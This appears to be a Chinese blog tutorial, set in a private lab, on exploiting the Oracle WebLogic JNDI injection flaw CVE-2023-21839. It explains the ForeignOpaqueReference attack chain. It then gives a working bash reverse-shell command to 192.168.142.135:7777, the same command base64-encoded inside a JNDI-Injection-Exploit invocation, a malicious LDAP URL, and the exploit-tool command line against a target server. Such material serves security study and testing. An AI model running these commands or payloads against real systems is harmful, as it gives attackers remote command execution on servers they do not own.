当前位置: 首页 > news >正文

【weblogic】JND注入漏洞

该漏洞的本质是 通过JNDI注入实现远程代码执行。其攻击链条可以概括为以下四步:

  1. 利用协议:攻击者利用 WebLogic 的 T3 或 IIOP 协议,将一个恶意的“远程对象”绑定到目标 WebLogic 服务器上。

  2. 对象特性:这个恶意对象继承自 OpaqueReference接口。当服务端对该对象进行 lookup查找时,会自动触发其 getReferent()方法。

  3. 恶意方法:WebLogic 自带的一个类 weblogic.deployment.jms.ForeignOpaqueReference正好实现了该接口,其 getReferent()方法内部会执行 context.lookup(this.remoteJNDIName)。这里的 remoteJNDIName是攻击者可以控制的属性。

  4. JNDI注入:攻击者将 remoteJNDIName的值设置为一个恶意的 RMI 或 LDAP 服务地址(如 rmi://attacker-server/Exploit)。当服务端执行 lookup 时,会向攻击者控制的服务器请求该资源,并加载和执行恶意代码,从而完成远程命令执行。

https://wiki.bafangwy.com/doc/401/  这个是反弹连接base64 payload生成工具汇总
进入Runtime.exec Payload Generater | AresX's Blog

bash -i >& /dev/tcp/192.168.142.135/7777 0>&1

java -jar JNDI-Injection-Exploit-1.0.jar -C""
拼接成:
java -jar JNDI-Injection-Exploit-1.0.jar -C"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Mi4xMzUvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}"
  • ash -i:启动一个交互式的 Bash。

  • >& /dev/tcp/192.168.142.162/7777:将 Bash 的输入、输出和错误流全部重定向到 TCP 连接。

  • 192.168.142.162:这是攻击者自己的 IP 地址

  • 7777:这是攻击者在自己机器上监听的端口

  • 0>&1:将标准输入重定向到标准输出,确保这个 Shell 是完全交互式的。

用LDAD服务器,利用范围更广
复制:ldap://192.168.142.135:1389/prfxzn
新开终端监听7777端口,通过在Kali Linux(192.168.142.135)上监听7777端口,成功接收到了来自目标WebLogic服务器(192.168.142.131)的反向连接
payload:
CVE-2023-21839.exe -ip 192.168.142.131 -port 7001 -ldap
ldap://192.168.142.135:1389/prfxzn/bi5iwt   

参数

说明

CVE-2023-21839.exe

漏洞利用工具,专门针对 Oracle WebLogic CVE-2023-21839漏洞进行攻击。

-ip 192.168.142.131

目标 WebLogic 服务器的 IP 地址(这里是 192.168.142.131)。

-port 7001

目标 WebLogic 的端口(默认是 7001)。

-ldap ldap://192.168.142.135:1389/zzwxsz

攻击者控制的恶意 LDAP 服务器地址(这里是 192.168.142.135:1389

(/ldap地址在第一个终端列出)
在该目录在打开终端,要有.exe源程序文件
攻击者使用专门的漏洞利用工具(CVE-2023-21839.exe),指定目标服务器和恶意的LDAP地址,成功触发了漏洞,成功接收到了来自目标WebLogic服务器(192.168.142.131)的反向连接。
http://www.dtcms.com/a/565022.html

相关文章:

  • 简单建设一个网站的过程安徽建设工程协会网站
  • Spring Security权限认证机制详解 实战
  • java每日精进 11.03【基于Spring AOP和事件驱动的资源操作消息处理流程(类似于若依框架的@Log注解)】
  • Spring 从 0 → 1 保姆级笔记:IOC、DI、多配置、Bean 生命周期一次讲透
  • SpringBoot 项目基于责任链模式实现复杂接口的解耦和动态编排
  • Java 入门核心知识点分类学习
  • 叫人做网站后不提供源码商机网创业好项目
  • 【2052】范围判断
  • (1)pytest+Selenium自动化测试-序章
  • 用Python来学微积分29-原函数与不定积分完全指南
  • JavaSE---文件(File)、IO流(基础)
  • 论坛类网站备案吗红色专题网站首页模板
  • 网页设计师主要是做什么的呢深圳seo
  • C++多线程之 安全日志系统
  • 哪里有做效果图的网站wordpress文章内模板
  • Nof1:探索大语言模型作为量化交易者的极限(翻译)
  • 做网站整理信息的表格免费有效的推广网站
  • 基于ASM1042A系列芯片的CAN协议扩展方案在汽车座椅控制器中的应用探讨
  • 超越金融:深入解析STC的“绿色算力网络”与参与机制
  • 【大模型 Tokenizer 核心技术解析】从 BPE 到 Byte-Level 的完整指南
  • 黄岛网站建设价格怎么做自动下单网站
  • 关于我遇到的豆包的bug:mermaid图无法加载
  • Milvus:通过Docker安装Milvus向量数据库(一)
  • 第三方软件测试机构:【“Bug预防”比“Bug发现”更有价值:如何建立缺陷根因分析与流转机制?】
  • Milvus:Schema详解(四)
  • maven的jakarta项目直接运用jetty插件运行
  • 建设外贸网站哪家好网页制作流程视频
  • Java-166 Neo4j 安装与最小闭环 | 10 分钟跑通 + 远程访问 Docker neo4j.conf
  • 如何建立小企业网站wordpress图片上传地址修改
  • 【开题答辩过程】以《基于SpringBoot的中国传统文化推广系统的设计与实现》为例,不会开题答辩的可以进来看看